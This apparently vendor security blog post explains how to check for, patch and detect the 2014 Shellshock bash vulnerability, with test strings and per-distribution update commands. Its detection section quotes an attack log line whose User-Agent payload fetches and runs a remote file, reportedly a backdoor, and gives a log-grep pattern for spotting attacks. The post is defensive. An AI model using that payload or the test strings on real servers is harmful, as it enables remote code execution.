Linux
Earlier posts on BashBug/Shellshock:
While the infosecurity world is still reeling from last week’s disclosure of the Shellshock (aka Bash Bug) vulnerability, it’s time to look at what can – and should – be done about it right now. The early attempts to release a patch turned out to be botched, but now it looks like all updates are in place, which is definitely good news.
First, it is necessary to identify the Bash version on the running system. The easiest and shortest way to do this on Linux is this command:
bash –version
Or, if you are currently running the shell itself:
$ echo $BASH_VERSION
All versions from 1.14 through 4.3 are affected.
Protecting yourselves from #Shellshock/#Bashbug #security
Tweet
And to be absolutely sure you are using a vulnerable (or a safe) version of Bash, there’s a test code string, courtesy of Red Hat:
$ env ‘x=() { :;}; echo vulnerable’ ‘BASH_FUNC_x()=() { :;}; echo vulnerable’ bash -c “echo test”
If you see the word “vulnerable” in the output, you are unfortunately using the bugged version.
The Bash vulnerability eventually spawned a total of four issues, designated as CVE-2014-6271 (original), CVE-2014-7169, CVE-2014-7186 and CVE-2014-7187. There’s no guarantee that other issues won’t be revealed later on, so it is strongly recommended that you keep track of the bash updates.
More details are available here.
It is worth mentioning that the different versions of bash (with different patches applied) produce different outputs.
For Mac users lifehacker.com offers a very similar test:
Open Terminal and type:
env x='() { :;}; echo vulnerable’ bash -c ‘echo hello’
If you’re not vulnerable, you’ll get this result:
bash: warning: x: ignoring function definition attempt bash: error importing function definition for `x’ hello
If you are vulnerable, you’ll get:
vulnerable hello
Patching things up
Below is the list of advisories from various vendors of Linux distros. It is extremely important to note that there are multiple versions of these distributives, and each has its own version of Bash. Updating to the last version is not always possible, necessary, or safe, at least by using standard methods. We’ve listed the links to the vendors’ advisories dedicated to the Bash bug; most of them provide links to the appropriate packages.
We tried to provide basic information on Shellshock patches for Mac OS X and the most common distributives of Linux. If you find that we have missed something, please feel free to let us know!
Red Hat
These are the “final” updates of Bash from Red Hat, with a few clarifications on the topic available here.
Note that the stable Debian release 4.2+dfsg-0.1+deb7u3 has fixed the problem already.
Bash in both Ubuntu and Debian distributions can also be updated via apt-get:
sudo apt-get update && sudo apt-get install –only-upgrade bash
Detailed instructions on updating are available here.
In a nutshell, CentOS recommended that users update via the “yum update” command.
Their advisory lists three flaws (CVE-2014-7169, CVE-2014-7186, CVE-2014-7187), all of them are patched already. The entire security update is installed via YaST online_update. Alternatively the following commands can be used for specific versions:
– SUSE Linux Enterprise Software Development Kit 11 SP3:
zypper in -t patch sdksp3-bash-9780
– SUSE Linux Enterprise Server 11 SP3 for VMware:
zypper in -t patch slessp3-bash-9780
– SUSE Linux Enterprise Server 11 SP3:
zypper in -t patch slessp3-bash-9780
– SUSE Linux Enterprise Server 11 SP2 LTSS:
zypper in -t patch slessp2-bash-9781
– SUSE Linux Enterprise Server 11 SP1 LTSS:
zypper in -t patch slessp1-bash-9782
– SUSE Linux Enterprise Desktop 11 SP3:
zypper in -t patch sledsp3-bash-9780
To bring your system up-to-date, use “zypper patch”.
A CVE-2014-7169-related security advisory outlines both the problem and update procedure.
The advisory lists an immense number of bash packages for versions 13.0, 13.1, 13.37, 14.0, 14.1
Gentoo
Information on the fix for CVE-2014-7169 is available here:
What about Mac OS X?
Mac OS X, according to Apple, is not affected by the Shellshock/BashBug, unless – and this is important – advanced Unix functions are invoked. Systems are safe by default and not exposed to remote exploits of Bash “unless users configure advanced UNIX services,” Apple said.
This is most likely related to using a Mac OS X-based machine as a web server, with Apache and CGI scripts installed. Fortunately Apple was quick to release an appropriate patch.
#Shellshock/#Bashbug patches are in, time to apply them #security
Tweet
Have I been hit?
There is a lot of talk about how to detect the attempted exploitation of the bug. Robert Graham wrote a testing code with some details and in comments people reported getting a notification or even IPS triggering. Graham says some malware is now using his testing code as their User-agent. So if you are getting pinged by blog.erratasec.com, this may well mean that somebody is trying to attack you.
An attempted attack may leave a trace like this in server logs:
UserAgent: () { :;}; /bin/bash -c “wget -O /var/tmp/ec.z 74.YYY.YYY.YY/ec.z;chmod +x /var/tmp/ec.z;/var/tmp/ec.z;rm -rf /var/tmp/ec.z*”
As reported on a Russian security forum, it was an attempt to “serve” the system with an obfuscated perlBot backdoor.
If you are running an Apache server, this command –
[root@server ~]# grep cgi /var/log/httpd/access*|egrep “};|}s*;”
– extracts all lines containing “cgi” from Apache’s access logs (by default called access_log, access_log.1, access_log.2 etc) then pipes it into egrep with the regex. But it will only show attacks in the destination URL and in the “User-Agent” and “Referer” headers. An attack in a header like “Cookie” or “X-Ploit” won’t be logged.
Otherwise a server compromise has visible consequences, such as increased network/email traffic and CPU/memory usage, suspicious connections and processes, and other peculiarities, more or less typical for malware activity.
Earlier posts on BashBug/Shellshock:
Tips